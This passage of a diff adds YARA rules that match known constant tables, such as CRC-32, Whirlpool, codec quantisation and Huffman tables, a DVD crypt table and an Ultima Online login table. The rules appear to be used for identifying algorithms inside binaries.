7a99956cc790e5008b069132360c0d65e5da795758ddf11a427b8528ff71197f2ca76d4d91a729b371515d81cc5bc1d61f8db5e4a28a3da9b82c499b0526d5ccd6f0a1fe6bf9d192276fa5a09a6539f749b34dc5f4b4c588ee12b1ba53182ded80ce59df3dc8a404912ed0362c244c61fff2385342f5b01e5853c42ce559587b368f2c498b865c25c71028177a1ab440a9ccc07214cb483f0e6d3c0db367a05a60b1d468ddb190963d47e4a4804d78f3539b0cc1ee9c848cf43af0be49306ce99ae618db27ef68b76b791c85d67380d205a5f4e0b8a27cada204089f1f0e94c8ccd8e0fa71d37bbb51c50f89eccf93de3f19e7ec821e6fa198b81b9325b287c4f664f3f64b6d839a07fbf7a8baf16bff69271fcdd4209780ce86e3b2738c7fe5a05a0bd71d5a4f29fdac3b1b40a6a74c9370d37e2e775b3334d12f0189dbb3565a0dc764e704b708ab92c33a16985f6dc54e2b5f7849a31262efd720dfe54b770c333f45b135c29e1dd3b6aca0d92afb730f5ec9ce08d684d4aea2b669a43ee1ba724ad3077b3abf4bed4e8df6e7d2da2531a6e898362ea582905a973f9ac6c0ec4cb2f2514cf60cb1ba823e0cb01e69df666a5b6261e21678c79624c5cd0a73161b7e41ab120e2de7847a1f5a8ee6488958927a345f1a372ef96e0593f3f25240258660fd2 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0x04C11DB7__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000077073096ee0e612c990951ba076dc419706af48fe963a5359e6495a30edb883279dcb8a4e0d5e91e97d2d98809b64c2b7eb17cbde7b82d0790bf1d911db710646ab020f2f3b9714884be41de1adad47d6ddde4ebf4d4b55183d385c7136c9856646ba8c0fd62f97a8a65c9ec14015c4f63066cd9fa0f3d638d080df53b6e20c84c69105ed56041e4a26771723c03e4d14b04d447d20d85fda50ab56b35b5a8fa42b2986cdbbbc9d6acbcf94032d86ce345df5c75dcd60dcfabd13d5926d930ac51de003ac8d75180bfd0611621b4f4b556b3c423cfba9599b8bda50f2802b89e5f058808c60cd9b2b10be9242f6f7c8758684c11c1611dabb6662d3d76dc419001db710698d220bcefd5102a71b1858906b6b51f9fbfe4a5e8b8d4337807c9a20f00f9349609a88ee10e98187f6a0dbb086d3d2d91646c97e6635c016b6b51f41c6c6162856530d8f262004e6c0695ed1b01a57b8208f4c1f50fc45765b0d9c612b7e9508bbeb8eafcb9887c62dd1ddf15da2d498cd37cf3fbd44c654db261583ab551cea3bc0074d4bb30e24adfa5413dd895d7a4d1c46dd3d6f4fb4369e96a346ed9fcad678846da60b8d044042d7333031de5aa0a4c5fdd0d7cc95005713c270241aabe0b1010c90c20865768b525206f85b3b966d409ce61e49f5edef90e29d9c998b0d09822c7d7a8b459b33d172eb40d81b7bd5c3bc0ba6cadedb883209abfb3b603b6e20c74b1d29aead547399dd277af04db261573dc1683e3630b1294643b840d6d6a3e7a6a5aa8e40ecf0b9309ff9d0a00ae277d079eb1f00f93448708a3d21e01f2686906c2fef762575d806567cb196c36716e6b06e7fed41b7689d32be010da7a5a67dd4accf9b9df6f8ebeeff917b7be4360b08ed5d6d6a3e8a1d1937e38d8c2c44fdff252d1bb67f1a6bc57673fb506dd48b2364bd80d2bdaaf0a1b4c36034af641047a60df60efc3a867df55316e8eef4669be79cb61b38cbc66831a256fd2a05268e236cc0c7795bb0b4703220216b95505262fc5ba3bbeb2bd0b282bb45a925cb36a04c2d7ffa7b5d0cf312cd99e8b5bdeae1d9b64c2b0ec63f226756aa39c026d930a9c0906a9eb0e363f720767850500571395bf4a82e2b87a147bb12bae0cb61b3892d28e9be5d5be0d7cdcefb70bdbdf2186d3d2d4f1d4e24268ddb3f81fda836e81be16cdf6b9265b6fb077e118b7477788085ae6ff0f6a7066063bca11010b5c8f659efff862ae69616bffd3166ccf45a00ae278d70dd2ee4e0483543903b3c2a7672661d06016f74969474d3e6e77dbaed16a4ad9d65adc40df0b6637d83bf0a9bcae53debb9ec547b2cf7f30b5ffe9bdbdf21ccabac28a53b3933024b4a3a6bad03605cdd7069354de572923d967bfb3667a2ec4614ab85d681b022a6f2b94b40bbe37c30c8ea15a05df1b2d02ef8d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant_d__flt32___32_big_128_
+{
+strings:
+	$a0 = { 000000003f8000003f0000003ea8f5c33e8000003e29fbe73e0000003da9fbe73d8000003d0000003c7f97243c0101f33b80841f3b0041033a801f753a000eae398007f8390007f83880029a3800029a3780029a36fffc9c3680029a35fff405358000e234fffae5347ffae50000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_login_encryption_algorithm__16_big_444_
+{
+strings:
+	$a0 = { 00680005000780000002000500050007000e0005000b0007800000038000003d00d780008000000a000600098000800080008000800000258000000500040008001300080003001a0007001400050002000500010005000200020011000f000a0005800000020002000a028d800000080007000980008000800000020025800000c980008000022902c900058000000b0049005d0005000980008000000600028000800080000002000c0001000b006e006a800080000004000200498000003100050009000f000d0001000480000015800080000003000900130003000e8000001c800000050002800000230010001180000009800000028000000d00028000003e80000002002700450002800080000042800080008000000b800080008000001300418000006380000009800000028000001a800001020135003380008000000300090009000900958000800000048000800000058000800080008000000d80008000800080008000004000098000800000030006000900038000800080000024800080008000000600cb000100310002000600060007800000018000004e800000020019800080008000800080008000010c8000800000098000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_crypt_tab3__8_byt_288_
+{
+strings:
+	$a0 = { 735195e112e4c058eef2081ba9fa984ca733e21ba76df530971df302605a820f91d09c10397a83853bb2b8ae0c0952ea1ce18d664ff3da9229b9d5c57747225314f7af2264dfc67212f375dad7d7e5029eeddadb4c47ce9106066d558b19c9ef8c801a0eee4babf2085ce937265e9a9000f30db2a6a3f726174888c90e2cc902e718054bf339e120020d40c7cab948305767cc06bfac8108247ad48b198eacb45a0f7313ac9edab6b8965b6088e1813f0786372d791452ea73df3d09c82548d875609a08274a2cb9a88b8a7362371602bdc10e56543e145f8c8f6e751c07397b4bdbd34b1ec87efe3e7216837deef5cac518f9d868ab3885a8f0a1739f5d190b00000000000000003372392567266d7136773c2062236874c382c91557165d81 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h264_quant_coeff__32_big_3328_
+{
+strings:
+	$a0 = { 000666660003f03f000666660003f03f0003f03f00028f5c0003f03f00028f5c000666660003f03f000666660003f03f0003f03f00028f5c0003f03f00028f5c0005d1740003a83b0005d1740003a83b0003a83b0002468b0003a83b0002468b0005d1740003a83b0005d1740003a83b0003a83b0002468b0003a83b0002468b0004ec4f000333330004ec4f000333330003333300020c4a0003333300020c4a0004ec4f000333330004ec4f000333330003333300020c4a0003333300020c4a000492490002d82e000492490002d82e0002d82e0001c7e70002d82e0001c7e7000492490002d82e000492490002d82e0002d82e0001c7e70002d82e0001c7e70004000000028f5c0004000000028f5c00028f5c0001a36e00028f5c0001a36e0004000000028f5c0004000000028f5c00028f5c0001a36e00028f5c0001a36e00038e39000239e100038e39000239e1000239e100016994000239e10001699400038e39000239e100038e39000239e1000239e100016994000239e100016994000333330001f820000333330001f8200001f820000147ae0001f820000147ae000333330001f820000333330001f8200001f820000147ae0001f820000147ae0002e8ba0001d41d0002e8ba0001d41d0001d41d000123450001d41d000123450002e8ba0001d41d0002e8ba0001d41d0001d41d000123450001d41d00012345000276270001999a000276270001999a0001999a000106250001999a00010625000276270001999a000276270001999a0001999a000106250001999a000106250002492500016c170002492500016c1700016c170000e3f400016c170000e3f40002492500016c170002492500016c1700016c170000e3f400016c170000e3f400020000000147ae00020000000147ae000147ae0000d1b7000147ae0000d1b700020000000147ae00020000000147ae000147ae0000d1b7000147ae0000d1b70001c71c00011cf00001c71c00011cf000011cf00000b4ca00011cf00000b4ca0001c71c00011cf00001c71c00011cf000011cf00000b4ca00011cf00000b4ca0001999a0000fc100001999a0000fc100000fc100000a3d70000fc100000a3d70001999a0000fc100001999a0000fc100000fc100000a3d70000fc100000a3d70001745d0000ea0f0001745d0000ea0f0000ea0f000091a30000ea0f000091a30001745d0000ea0f0001745d0000ea0f0000ea0f000091a30000ea0f000091a300013b140000cccd00013b140000cccd0000cccd000083120000cccd0000831200013b140000cccd00013b140000cccd0000cccd000083120000cccd00008312000124920000b60b000124920000b60b0000b60b000071fa0000b60b000071fa000124920000b60b000124920000b60b0000b60b000071fa0000b60b000071fa000100000000a3d7000100000000a3d70000a3d7000068dc0000a3d7000068dc000100000000a3d7000100000000a3d70000a3d7000068dc0000a3d7000068dc0000e38e00008e780000e38e00008e7800008e7800005a6500008e7800005a650000e38e00008e780000e38e00008e7800008e7800005a6500008e7800005a650000cccd00007e080000cccd00007e0800007e08000051ec00007e08000051ec0000cccd00007e080000cccd00007e0800007e08000051ec00007e08000051ec0000ba2f000075070000ba2f0000750700007507000048d100007507000048d10000ba2f000075070000ba2f0000750700007507000048d100007507000048d100009d8a0000666600009d8a000066660000666600004189000066660000418900009d8a0000666600009d8a00006666000066660000418900006666000041890000924900005b060000924900005b0600005b06000038fd00005b06000038fd0000924900005b060000924900005b0600005b06000038fd00005b06000038fd00008000000051ec00008000000051ec000051ec0000346e000051ec0000346e00008000000051ec00008000000051ec000051ec0000346e000051ec0000346e000071c70000473c000071c70000473c0000473c00002d320000473c00002d32000071c70000473c000071c70000473c0000473c00002d320000473c00002d320000666600003f040000666600003f0400003f04000028f600003f04000028f60000666600003f040000666600003f0400003f04000028f600003f04000028f600005d1700003a8400005d1700003a8400003a840000246900003a840000246900005d1700003a8400005d1700003a8400003a840000246900003a840000246900004ec50000333300004ec50000333300003333000020c500003333000020c500004ec50000333300004ec50000333300003333000020c500003333000020c50000492500002d830000492500002d8300002d8300001c7e00002d8300001c7e0000492500002d830000492500002d8300002d8300001c7e00002d8300001c7e00004000000028f600004000000028f6000028f600001a37000028f600001a3700004000000028f600004000000028f6000028f600001a37000028f600001a37000038e40000239e000038e40000239e0000239e000016990000239e00001699000038e40000239e000038e40000239e0000239e000016990000239e000016990000333300001f820000333300001f8200001f820000147b00001f820000147b0000333300001f820000333300001f8200001f820000147b00001f820000147b00002e8c00001d4200002e8c00001d4200001d420000123400001d420000123400002e8c00001d4200002e8c00001d4200001d420000123400001d4200001234000027620000199a000027620000199a0000199a000010620000199a00001062000027620000199a000027620000199a0000199a000010620000199a0000106200002492000016c100002492000016c1000016c100000e3f000016c100000e3f00002492000016c100002492000016c1000016c100000e3f000016c100000e3f000020000000147b000020000000147b0000147b00000d1b0000147b00000d1b000020000000147b000020000000147b0000147b00000d1b0000147b00000d1b00001c72000011cf00001c72000011cf000011cf00000b4d000011cf00000b4d00001c72000011cf00001c72000011cf000011cf00000b4d000011cf00000b4d0000199a00000fc10000199a00000fc100000fc100000a3d00000fc100000a3d0000199a00000fc10000199a00000fc100000fc100000a3d00000fc100000a3d0000174600000ea10000174600000ea100000ea10000091a00000ea10000091a0000174600000ea10000174600000ea100000ea10000091a00000ea10000091a000013b100000ccd000013b100000ccd00000ccd0000083100000ccd00000831000013b100000ccd000013b100000ccd00000ccd0000083100000ccd000008310000124900000b610000124900000b6100000b610000072000000b61000007200000124900000b610000124900000b6100000b610000072000000b61000007200000100000000a3d0000100000000a3d00000a3d0000068e00000a3d0000068e0000100000000a3d0000100000000a3d00000a3d0000068e00000a3d0000068e00000e39000008e800000e39000008e8000008e8000005a6000008e8000005a600000e39000008e800000e39000008e8000008e8000005a6000008e8000005a600000ccd000007e000000ccd000007e0000007e00000051f000007e00000051f00000ccd000007e000000ccd000007e0000007e00000051f000007e00000051f00000ba30000075000000ba300000750000007500000048d000007500000048d00000ba30000075000000ba300000750000007500000048d000007500000048d000009d900000666000009d90000066600000666000004190000066600000419000009d900000666000009d9000006660000066600000419000006660000041900000925000005b000000925000005b0000005b000000390000005b00000039000000925000005b000000925000005b0000005b000000390000005b000000390000008000000051f000008000000051f0000051f000003470000051f00000347000008000000051f000008000000051f0000051f000003470000051f000003470000071c000004740000071c0000047400000474000002d300000474000002d30000071c000004740000071c0000047400000474000002d300000474000002d300000666000003f000000666000003f0000003f00000028f000003f00000028f00000666000003f000000666000003f0000003f00000028f000003f00000028f000005d1000003a8000005d1000003a8000003a800000247000003a800000247000005d1000003a8000005d1000003a8000003a800000247000003a800000247000004ec00000333000004ec00000333000003330000020c000003330000020c000004ec00000333000004ec00000333000003330000020c000003330000020c00000492000002d800000492000002d8000002d8000001c8000002d8000001c800000492000002d800000492000002d8000002d8000001c8000002d8000001c8 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C0__64_lil_2048_
+{
+strings:
+	$a0 = { 78d8c07818281818af2605af23652323f9b87ef9c657c6c66ffb136fe825e8e8a1cb4ca1879487876211a962b8d5b8b805090805010301016e0d426e4fd14f4fee9badee365a363604ff5904a6f7a6a6bd0cdebdd26bd2d2060efb06f502f5f58096ef80798b7979ce305fce6fb16f6fef6dfcef91ae919107f8aa0752f65252fd4727fd60a0606076358976bcd9bcbccd37accd9bb09b9b8c8a048c8e8f8e8e15d27115a3f8a3a33c6c603c0c140c0c8a84ff8a7b8d7b7be180b5e1355f353569f5e8691d271d1d47b35347e03de0e0ac21f6acd764d7d7ed9c5eedc25bc2c296436d962e722e2e7a29627a4bdd4b4b215da321fe1ffefe16d5821657f9575741bda841153f1515b6e89fb677997777eb92a5eb37593737569e7b56e532e5e5d9138cd99fbc9f9f1723d317f00df0f07f206a7f4ade4a4a95449e95da73dada25a2fa2558e85858cacf06cac946c9c98d7c558d297b2929225a50220a1e0a0a4f50e14fb1ceb1b11ac9691aa0fda0a0da147fda6bbd6b6babd95cab85928585733c8173bddabdbd348fd2345de75d5d50908050103010100307f303f401f4f4c0dd16c0cb40cbcbc6d3edc63e423e3e112d2811050f0505e6781fe667a9676753977353e431e4e4bb0225bb276927275873325841c341419da72c9d8b808b8b01f65101a7f4a7a794b2cf947d877d7dfb49dcfb95a295959f568e9fd875d8d830708b30fb10fbfb71cd2371ee2feeee91bbc7917c847c7ce37117e366aa66668e7ba68edd7adddd4bafb84b173917174645024647c94747dc1a84dc9ebf9e9ec5d41ec5ca43caca995875992d772d2d792e9179bfdcbfbf1b3f381b0709070723ac0123adeaadad2fb0ea2f5aee5a5ab5ef6cb583988383ffb685ff33553333f25c3ff263a563630a12100a0206020238933938aae3aaaaa8deafa871937171cfc60ecfc845c8c87dd1c87d192b1919703b727049db49499a5f869ad976d9d91d31c31df20bf2f248a84b48e338e3e32ab9e22a5bed5b5b92bc349288858888c83ea4c89ab39a9abe0b2dbe266a2626fabf8dfa325632324a59e94ab0cdb0b06af21b6ae926e9e9337778330f110f0fa633e6a6d562d5d5baf474ba809d80807c27997cbedfbebedeeb26decd4acdcde489bde4345c343475327a7548d848482454ab24ff1cffff8f8df78f7a8e7a7aea64f4ea90ad90903e9dc23e5fe15f5fa03d1da020602020d50f67d568b8686872cad0721a2e1a1a2cb7192caeefaeae5e7dc95eb4c1b4b419ce9a1954fc5454e57fece593a89393aa2f0daa22662222e96307e964ac6464122adb12f10ef1f1a2ccbfa2739573735a82905a123612125d7a3a5d40c040402848402808180808e89556e8c358c3c37bdf337bec29ecec904d9690db70dbdb1fc0611fa1fea1a183911c838d8a8d8dc9c8f5c93d473d3df15bccf197a497970000000000000000d4f936d4cf4ccfcf876e45872b7d2b2bb3e197b3769a7676b0e664b0829b8282a928fea9d667d6d677c3d8771b2d1b1b5b74c15bb5c2b5b529be1129afecafafdf1d77df6abe6a6a0deaba0d50f050504c57124c45cf45451838cb18f308f3f3f0ad9df03050303074c42b74ef2cefefc3dae5c33f413f3f1cc7921c55ff555510db7910a2fba2a265e90365ea23eaeaec6a0fec65af65656803b968bad3baba934a65932f712f2fe78e4ee7c05dc0c08160be81de7fdede6cfce06c1c241c1c2e46bb2efd1afdfd641f52644dd74d4de076e4e092ab9292bcfa8fbc759f75751e36301e060a060698ae24988a838a8a404bf940b2cbb2b259856359e637e6e6367e70360e120e0e63e7f8631f211f1ff75537f762a66262a33aeea3d461d4d432812932a8e5a8a8f452c4f496a796963a629b3af916f9f9f6a366f6c552c5c5b11035b1256f252520abf22059eb5959aed054ae84918484a7c5b7a772967272ddecd5dd394b393961165a614cd44c4c3b94ca3b5ee25e5e859fe78578887878d8e5ddd838483838869814868c898c8cb217c6b2d16ed1d10be4410ba5f2a5a54da1434de23be2e2f84e2ff861a361614542f145b3c8b3b3a53415a521632121d60894d69cb99c9c66eef0661e221e1e5261225243c54343fcb176fcc754c7c72b4fb32bfc19fcfc14242014040c040408e3b20851f35151c725bcc799b69999c4224fc46db76d6d396568390d170d0d35798335fa13fafa8469b684df7cdfdf9ba9d79b7e827e7eb4193db4246c2424d7fec5d73b4d3b3b3d9a313dabe0ababd1f03ed1ce4fcece559988551133111189830c898f8c8f8f6b044a6b4ed24e4e5166d151b7c4b7b760e00b60eb20ebebccc1fdcc3c443c3cbffd7cbf819e8181fe40d4fe94a194940c1ceb0cf704f7f76718a167b9d6b9b95f8b985f133513139c517d9c2c742c2cb805d6b8d368d3d35c8c6b5ce734e7e7cb3957cb6eb26e6ef3aa6ef3c451c4c40f1b180f0305030313dc8a1356fa5656495e1a4944cc44449ea0df9e7f817f7f37882137a9e6a9a982674d822a7e2a2a6d0ab16dbbd0bbbbe28746e2c15ec1c102f1a20253f553538b72ae8bdc79dcdc275358270b1d0b0bd3019cd39dba9d9dc12b47c16cb46c6cf5a495f531533131b9f387b9749c74740915e309f607f6f6434c0a4346ca464626a50926ace9acac97b53c978986898944b4a044143c141442ba5b42e13ee1e14ea6b04e163a1616d2f7cdd23a4e3a3ad0066fd069bb69692d41482d091b0909add7a7ad70907070546fd954b6c7b6b6b71eceb7d06dd0d07ed63b7eed2aededdbe22edbcc49cccc57682a5742c64242c22cb4c298b598980eed490ea4f1a4a488755d88287828283186da315ce45c5c3f6b933ff815f8f8a4c244a486978686 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab1__16_lil_14_
+{
+strings:
+	$a0 = { FBFFFDFFFFFF1100010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libtheora_FrequencyCounts_VP3__32_lil_8188_
+{
+strings:
+	$a0 = { 10010000540000001f000000240000000a00000002000000010000005c00000001000000bd020000680300009a010000de01000076020000f6010000a1010000640100004602000038030000d9030000c5030000b90200005e0200007d000000770000002800000003000000090000000f0000000a0000004900000025000000370100006b00000029000000330000001200000004000000020000007800000001000000380300000d040000d40100001d020000ca0200002b020000c3010000760100005302000033030000a103000031030000da010000dc000000ac0000008e0000001b00000004000000090000000a000000020000006200000030000000610100007d00000031000000420000001800000006000000020000007c000000010000009e030000940400000002000052020000fe02000045020000ca0100007b0100004e0200001503000051030000990200003201000050000000cc0000009300000019000000050000000c00000009000000020000006c00000036000000880100008d000000390000004b0000001f00000007000000040000008a000000010000001a040000290500002f020000890200002603000052020000cc0100007401000038020000d7020000c6020000db0100009b00000013000000fb000000ae0000001b000000070000001000000008000000020000007e0000003e000000c7010000a80000004200000057000000270000000a000000060000007c0000000200000077040000af05000050020000b40200003803000054020000c5010000690100001e0200009102000050020000490100004e000000050000000d010000b80000001b000000090000001300000007000000020000007f0000004200000020020000c900000050000000660000002d0000000b000000060000006300000001000000d40400003306000062020000d0020000410300004e020000bc0100005c010000fa0100004c020000e7010000e20000002700000002000000fd000000b20000001b0000000a000000140000000700000002000000760000004100000089020000f10000006200000079000000360000000e00000008000000540000000100000045050000b70600007a020000fb0200004f03000047020000ac01000043010000c8010000ec0100005d010000780000000d00000001000000e7000000aa00000018000000080000001300000007000000010000006d000000430000003803000030010000810000009e00000042000000130000000a0000002c00000002000000c405000085070000840200001a030000460300002f0200008c010000210100008801000080010000df0000003500000003000000010000009f000000790000001100000006000000100000000600000002000000450000003500000016020000ae00000047000000440000000a000000010000000100000044000000770000008a060000f605000030020000180200001b0200004b010000e5000000a8000000e900000006010000e700000095000000470000003300000075020000120200001c0100007e000000b6000000d0000000b8000000940000005700000052020000c30000004d000000470000000900000001000000010000002f00000059000000bb06000038060000530200003a0200003e0200005f010000f1000000b0000000f30000000f010000ea00000090000000410000002500000016020000c1010000f000000075000000a70000001501000099000000600000003600000082020000d500000058000000530000000c00000001000000010000002800000050000000d70600005e0600006d02000058020000560200006f010000fa000000b7000000fb00000014010000eb0000008f0000003e0000001c000000e50100008d010000d40000006e000000a1000000c10000008d0000005400000030000000b50200000201000072000000830000001b00000003000000010000002c0000004f000000020700006c0600002602000015020000060200003a010000d50000009a000000d1000000df000000ae00000061000000280000000e00000048020000cf010000ec0000008a000000c4000000f90000008f0000005e00000036000000f60200002f01000090000000bd000000350000000800000001000000250000004500000032070000c406000001020000f8010000de0100001f010000bf00000089000000b6000000ba00000089000000480000001f000000060000004d020000d5010000c700000080000000b100000008010000a100000059000000310000003103000058010000aa000000f30000005400000012000000020000001e000000410000002c070000c506000006020000ff010000dd01000019010000b900000082000000a9000000a6000000750000003b00000019000000030000003c020000c2010000b900000079000000ad000000e800000092000000500000002b0000006103000085010000cc000000420100008b0000002a000000090000001a0000003300000038070000e6060000130200000a020000dd01000013010000b10000007a000000990000009000000061000000320000001000000001000000e50100007a010000a700000073000000a4000000cb000000800000004a0000002a000000c1030000bf010000f300000097010000c40000004a0000001a0000000c00000022000000d3070000960700003b02000035020000ee01000016010000ad000000740000008d00000081000000550000002c00000008000000010000001d010000df000000650000004200000068000000780000004a0000002300000016000000f500000044000000190000001c00000005000000010000000100000067010000040000008e030000880300003a0200003b020000fe0200006c020000de010000770100002a020000ac0200008c020000b9010000b60000001e00000017020000ce000000760000004d000000450000005a000000100000002b010000640000002e0100005600000020000000240000000800000001000000010000006a01000003000000ce030000c80300005702000057020000060300007b020000d50100006d01000010020000740200002d02000051010000760000000e00000041020000db000000880000005200000045000000410000000d0000003d010000700000005c01000066000000270000002c0000000900000002000000010000006b01000003000000260400001f0400005f020000610200001303000072020000c90100005c010000ee01000026020000c4010000e90000003c000000020000007c020000f40000009f0000005c0000004a000000440000000c000000470100007700000090010000790000002f000000330000000b00000002000000010000006e01000003000000550400004e0400006c0200006e0200001203000070020000c20100004b010000cb010000ea0100006e010000a30000001d00000001000000a102000001010000af000000620000004d0000003f0000000e0000005801000083000000d6010000970000003b000000430000000f00000003000000010000006201000004000000ae040000a50400008002000083020000010300005b0200009a01000026010000820100007d010000f00000004e0000000500000001000000ea0200001a010000cd0000007100000057000000400000000f000000700100009100000029020000bd0000004d0000005e0000001800000006000000010000005b01000004000000dc040000d00400008a0200008d020000e30200002702000068010000f90000002f01000005010000810000001800000001000000010000003c03000039010000f5000000870000006c0000004d0000001100000093010000a9000000bd020000fd0000006d0000008c0000002a0000000c000000020000005e01000006000000ba040000ad0400008c02000087020000a1020000ef0100002b010000bd000000d300000097000000320000000200000001000000010000007c030000500100001c010000a2000000860000006500000019000000c7010000cd0000009c03000086010000b4000000f8000000550000001f0000000d0000001e0100000e000000da040000b604000059020000410200000702000056010000af00000064000000550000002400000001000000010000000100000001000000070400005c0100005a010000cc000000a60000008300000022000000d9010000c5000000cb010000800000003200000030000000080000000100000001000000e00000004500000005050000cb0400004b020000350200003d0200009601000005010000b4000000e4000000d5000000820000002f0000000b000000030000002d0400001c02000035010000e700000093000000170100009d0000007f010000a50000000c0200009b0000003e000000400000000e0000000200000001000000d10000003f00000041050000080500000b020000fb0100000302000066010000e100000099000000b7000000a0000000570000001d00000007000000020000007f0400004f0200006d0100001a010000b30000003401000085000000580100009d0000004c020000b50000004b00000051000000130000000300000001000000cc00000044000000400500000805000005020000f7010000f90100005a010000d80000008d000000a90000008b000000470000001500000005000000010000007a040000480200006e0100001e010000aa0000002a01000099000000560100009d0000007a020000c40000005200000059000000160000000400000001000000c20000003c0000004c0500002005000003020000f6010000e90100004b010000c70000007f000000910000006f000000330000000e0000000300000001000000840400004d020000890100002c010000b60000001d01000090000000540100009f000000cb020000e700000062000000710000001f0000000700000001000000b5000000390000004105000017050000f2010000ea010000c001000023010000a6000000650000006a0000004b0000001e0000000900000001000000010000009704000048020000a001000041010000d10000004d010000a40000004a0100009f000000390300001b0100007d000000950000002c0000000b00000002000000a00000003b0000003f0500001c050000dc010000d501000095010000f7000000830000004b0000004c0000002f00000012000000050000000100000001000000a804000043020000b00100004c010000d900000047010000b0000000400100009a000000c103000069010000aa000000d7000000460000001400000005000000a100000037000000e2040000c2040000cf010000cc01000062010000cc0000006500000034000000300000001c0000000b000000010000000100000001000000940400003a020000c10100005e010000de0000004c010000a900000052010000ae00000073040000fa0100000a010000830100009c000000390000001a0000007200000030000000a8040000920400006e0100006e010000e2000000710000002f00000016000000160000000c00000001000000010000000100000001000000c604000027020000ce01000087010000dc000000420100009c0000002201000088000000f5000000310000000f0000000b0000000100000001000000010000004c010000260000008b0400008a040000ad020000ab0200002d0300006f020000b50100003e010000a5010000a8010000200100006d0000000e00000001000000d90200002f010000b30000007000000057000000c70000002e0000006c01000087000000310100004300000016000000110000000200000001000000010000004901000027000000e2040000dd040000c2020000c10200002103000048020000810100000b0100004a01000028010000a50000002800000003000000010000001e03000054010000ce000000830000006c00000002010000340000007e0100009a00000064010000520000001c00000017000000030000000100000001000000380100002a0000003c05000036050000bd020000bf02000002030000210200005a010000e30000000d010000df000000640000001100000001000000010000004e03000067010000de0000008e000000780000001c010000370000007b0100009d000000920100005f000000210000001e0000000400000001000000010000002c0100002b000000630500005b050000c6020000ca020000d4020000e601000021010000b6000000ca000000900000002f0000000500000001000000010000008c0300008a010000fa000000a10000008d0000005e0100003c00000087010000ab000000f30100007a0000002c0000002a0000000700000001000000010000000b0100002d0000009f0500009c050000b2020000b60200007402000081010000d50000007a000000750000003e0000000e000000010000000100000001000000e0030000b901000020010000bb000000a7000000be010000520000007a010000b000000081020000a80000003e0000003c0000000c0000000100000001000000f7000000310000009b0500009c050000960200009d0200000f0200002a0100008e000000470000003700000016000000030000000100000001000000010000000c040000d60100003f010000d0000000c1000000240200006a0000006a010000b80000005c030000120100006f00000071000000170000000400000001000000e50000003b000000330500002b0500007502000085020000a3010000c0000000480000001e000000130000000600000001000000010000000100000001000000fe030000de01000053010000e1000000d5000000b20200008e00000056010000c600000023040000b5010000da0000001d010000540000001100000002000000980000002c00000004050000210500001202000031020000d40000004200000011000000060000000300000001000000010000000100000001000000010000000a040000e50100005a010000e2000000cf00000033030000b9000000f800000091000000970100005d0000001f00000018000000020000000100000001000000e80000006c00000055050000450500004502000042020000f201000031010000aa00000064000000670000004300000018000000050000000100000001000000970400005c020000890100000c010000d1000000fa010000d90000007b010000c100000009020000810000002e00000027000000040000000100000001000000c7000000740000008b0500007b0500001f0200001c020000be010000070100008a0000004e0000004b0000002c0000000d000000020000000100000001000000b10400005d020000880100000b010000d600000015020000fc0000004e010000a70000003f02000090000000340000002e000000060000000100000001000000c10000007c0000007205000068050000100200001002000096010000e3000000700000003b000000360000001c00000007000000010000000100000001000000ba0400006d0200009c0100001c010000eb0000005c0200000901000040010000a7000000a1020000ae000000400000003b000000090000000100000001000000b1000000800000007005000069050000f3010000f301000060010000b7000000550000002a000000230000001000000003000000010000000100000001000000ba04000072020000a201000021010000f6000000a302000029010000240100009e00000024030000e1000000550000004d0000000c000000010000000100000096000000810000006b05000068050000c7010000c701000015010000810000003500000017000000110000000700000001000000010000000100000001000000bc0400007b020000b1010000320100000c010000f802000039010000f900000089000000cf030000310100007b00000075000000140000000200000001000000870000008c000000200500001e050000910100008f010000c9000000500000001c0000000b0000000800000002000000010000000100000001000000010000008a0400006f020000b70100003a0100001b0100008a03000070010000cb00000079000000b5040000c4010000d0000000e70000003200000006000000010000007b00000095000000890400008c0400007201000072010000890000002d0000000e0000000400000002000000010000000100000001000000010000000100000017040000320200009d0100002c01000015010000fc03000094010000a8000000690000001105000096020000850100003e020000c8000000270000000400000037000000780000002d040000340400001101000009010000420000000e0000000200000001000000010000000100000001000000010000000100000001000000a2030000db01000059010000f9000000ec00000064040000780100005b000000380000001601000037000000110000000c00000001000000010000000100000020010000470000002305000018050000d5020000d4020000dd020000fa01000033010000c3000000e1000000af0000004d0000000c0000000100000001000000880300009e010000f6000000aa0000007e00000022010000cd000000a7010000b90000007e010000500000001a00000015000000020000000100000001000000ef00000040000000a205000095050000c2020000bd02000098020000a4010000ef00000092000000980000006900000022000000020000000100000001000000cf030000b801000007010000b90000008c0000004c010000e50000008d010000a9000000c301000061000000200000001b000000040000000100000001000000df0000004b000000b6050000ae050000aa020000a80200003e02000057010000b30000006500000062000000360000000900000001000000010000000100000007040000e201000025010000d2000000a3000000900100002901000080010000b500000027020000800000002b00000025000000050000000100000001000000c90000004e000000d9050000cf050000820200008b020000ed0100000d01000085000000460000003c000000180000000200000001000000010000000100000029040000f801000038010000e4000000b2000000c3010000600100005f010000ae000000b5020000b30000003f00000036000000080000000100000001000000a90000004e000000de050000d9050000440200004f02000077010000ba0000004d000000230000001500000004000000010000000100000001000000010000004b0400001502000055010000fd000000ce0000001e020000b001000032010000a40000006303000007010000690000006000000010000000020000000100000098000000510000009b0500009f050000090200000d0200000e0100006b00000020000000080000000300000001000000010000000100000001000000010000003d040000190200006901000015010000df0000006802000025020000020100009c000000fe03000081010000b6000000cf0000002e00000007000000010000009e000000580000000a05000026050000f5010000f6010000b8000000260000000600000001000000010000000100000001000000010000000100000001000000ff030000e0010000590100002d010000e80000009902000095020000d200000085000000a00400002b02000033010000c9010000b90000002c000000060000007300000029000000d4040000e5040000490100005401000020000000010000000100000001000000010000000100000001000000010000000100000001000000f9030000810100003c01000072010000f6000000a0020000140300005500000017000000f60100006a00000021000000160000000100000001000000010000009700000084000000a6050000ab050000f6010000f301000057010000b5000000540000002a000000240000001000000003000000010000000100000001000000bb04000095020000ad01000038010000f20000007d020000f2010000200100009c0000008b02000093000000300000002300000003000000010000